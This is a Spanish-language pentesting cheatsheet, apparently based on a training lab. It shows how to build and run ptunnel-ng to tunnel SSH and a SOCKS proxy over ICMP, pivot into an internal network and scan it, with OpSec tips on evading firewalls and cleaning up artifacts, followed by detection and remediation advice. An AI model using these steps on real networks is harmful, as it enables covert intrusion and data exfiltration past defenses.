> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/icmp-tunneling-with-socks.md).

# ICMP Tunneling with SOCKS

### Teoría

* El **ICMP tunneling** encapsula tráfico dentro de paquetes ICMP (echo request/response), permitiendo comunicación encubierta a través de firewalls.
* Solo funciona cuando las respuestas de ping están **permitidas** dentro de la red objetivo (caso común en redes corporativas mal configuradas).
* Un host interno puede encapsular su tráfico dentro de los echo requests y enviarlo a un servidor externo, que lo valida y responde.
* Usos principales: **data exfiltration** y creación de **pivot tunnels** hacia un servidor externo.

> **Herramienta:** `ptunnel-ng` — actúa en modo cliente y servidor; el lado servidor corre en el pivot host, el cliente en el attack host.

***

### 1. Clonar ptunnel-ng

```bash
git clone https://github.com/utoni/ptunnel-ng.git
```

***

### 2. Compilar ptunnel-ng (método estándar)

```bash
sudo ./autogen.sh
```

Ejecutar desde la raíz del repositorio clonado.

***

### 2b. Compilar binario estático (método alternativo recomendado)

Útil cuando las versiones de GLIBC del attack host y el pivot host difieren.

> **Nota:** Verifica que las versiones de GLIBC sean compatibles entre el attack host y el target antes de transferir el binario.

```bash
sudo apt install automake autoconf -y
cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh
```

***

### 3. Transferir ptunnel-ng al Pivot Host

```bash
scp -r ptunnel-ng ubuntu@10.129.202.64:~/
```

* `-r` — copia recursiva del directorio completo.

**`OpSec:`** La transferencia vía SCP **deja artefactos en disco** en el pivot host (`~/ptunnel-ng/`). Considera limpiarlos al finalizar.

***

### 4. Iniciar el servidor ptunnel-ng en el Target/Pivot Host

```bash
ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.202.64 -R22
```

* `-r <IP>` — IP del jump-box que aceptará conexiones (debe ser alcanzable desde el attack host).
* `-R <PORT>` — puerto del servicio real al que se desea tunelizar (22 = SSH).

**Output esperado:**

```
[inf]: Starting ptunnel-ng 1.42.
[inf]: Forwarding incoming ping packets over TCP.
[inf]: Ping proxy is listening in privileged mode.
[inf]: Dropping privileges now.
```

> El warning `/lib/x86_64-linux-gnu/libselinux.so.1: no version information available` no es crítico; el proceso continúa normalmente.

***

### 5. Conectar el cliente ptunnel-ng desde el Attack Host

```bash
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
```

* `-p <IP>` — IP del servidor ptunnel-ng (pivot host).
* `-l <PORT>` — puerto local en el attack host por donde se escuchará el túnel.
* `-r <IP>` — IP destino final del tráfico redirigido.
* `-R <PORT>` — puerto del servicio final (22 = SSH).

**Output esperado:**

```
[inf]: Starting ptunnel-ng 1.42.
[inf]: Relaying packets from incoming TCP streams.
```

***

### 6. Tunelizar SSH a través del túnel ICMP

```bash
ssh -p2222 -lubuntu 127.0.0.1
```

* `-p 2222` — apunta al puerto local del cliente ptunnel-ng.
* `-l ubuntu` — usuario SSH del pivot host.

**Output esperado:** sesión SSH completa al pivot host, con información del sistema (Ubuntu 20.04, IPs de interfaz, etc.).

**`OpSec:`** **El tráfico SSH viaja encapsulado en paquetes ICMP**, lo que puede evadir inspección superficial de firewalls. Sin embargo, un análisis con Wireshark revela el patrón ICMP anómalo (ver sección de análisis). No es completamente sigiloso ante un SOC activo.

**Estadísticas de sesión** (visibles en ambos lados del túnel):

```
[inf]: Incoming tunnel request from 10.10.14.18.
[inf]: Starting new session to 10.129.202.64:22 with ID 20199
[inf]: I/O:   0.00/  0.00 mb ICMP I/O/R:  248/22/0  Loss:  0.0%
```

***

### 7. Dynamic Port Forwarding sobre el túnel ICMP (SOCKS)

```bash
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
```

* `-D 9050` — abre un proxy SOCKS dinámico en el puerto local 9050.
* `-p 2222` / `-l ubuntu` — igual que antes, a través del túnel ICMP.

***

### 8. Proxychaining a través del túnel ICMP

```bash
proxychains nmap -sV -sT 172.16.5.19 -p3389
```

* `-sV` — detección de versión de servicio.
* `-sT` — TCP connect scan (requerido con proxychains; `-sS` SYN scan no funciona).
* `-p 3389` — puerto objetivo (RDP en este caso).

**Output esperado:**

```
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

**`OpSec:`** **`nmap` a través de proxychains es extremadamente ruidoso** — genera múltiples conexiones TCP hacia la red interna. Limita el scope y usa `-p` con puertos específicos.

***

### Análisis de Tráfico de Red

* **Sin túnel ICMP:** Wireshark captura tráfico **TCP + SSHv2** — el destino y protocolo son visibles.
* **Con túnel ICMP:** Wireshark captura únicamente **paquetes ICMP** — el payload SSH queda oculto dentro de los echo requests/responses.
* Este contraste es clave para confirmar que el túnel opera correctamente y para entender qué ve un analista de red.

***

### Troubleshooting

* **Error de GLIBC** al ejecutar el binario en el target → compilar con el método de **binario estático** (sección 2b).
* **Lab no responde al conectar** → esperar **3-5 minutos** tras el spawn hasta que toda la configuración del laboratorio esté lista.

***

### Remediación

* Bloquear o inspeccionar en profundidad el tráfico ICMP saliente (filtrar paquetes ICMP con payload de tamaño anómalo).
* Implementar reglas de firewall que limiten ICMP únicamente a operaciones de diagnóstico esperadas (payload fijo, rate limiting).
* Monitorear volumen y frecuencia de echo requests hacia IPs externas desde hosts internos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/icmp-tunneling-with-socks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
